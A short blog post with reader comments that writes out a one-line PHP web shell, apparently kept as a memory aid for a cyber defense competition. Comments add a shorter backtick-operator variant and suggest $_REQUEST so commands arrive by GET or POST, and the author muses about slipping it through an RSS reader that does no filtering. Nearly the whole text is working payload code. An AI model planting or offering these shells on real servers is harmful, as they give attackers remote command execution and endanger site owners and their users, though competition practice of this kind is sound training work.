PHP Web Shell

This is mostly for my memory for CCDC

<?php system($_GET['cmd']); ?>

I wonder what will happen if a RSS reader doesn't do proper filtering...

Comments

[cdman]

Even shorter, using the backtick operator and short tags :-)

<? `$_GET['c']`; ?>

[Rob Fuller]

ok that's just pimp

[y0nd13]

i prefer using $_REQUEST since you have multiple choice either to execute the command via POST or GET ..

[bonb]

google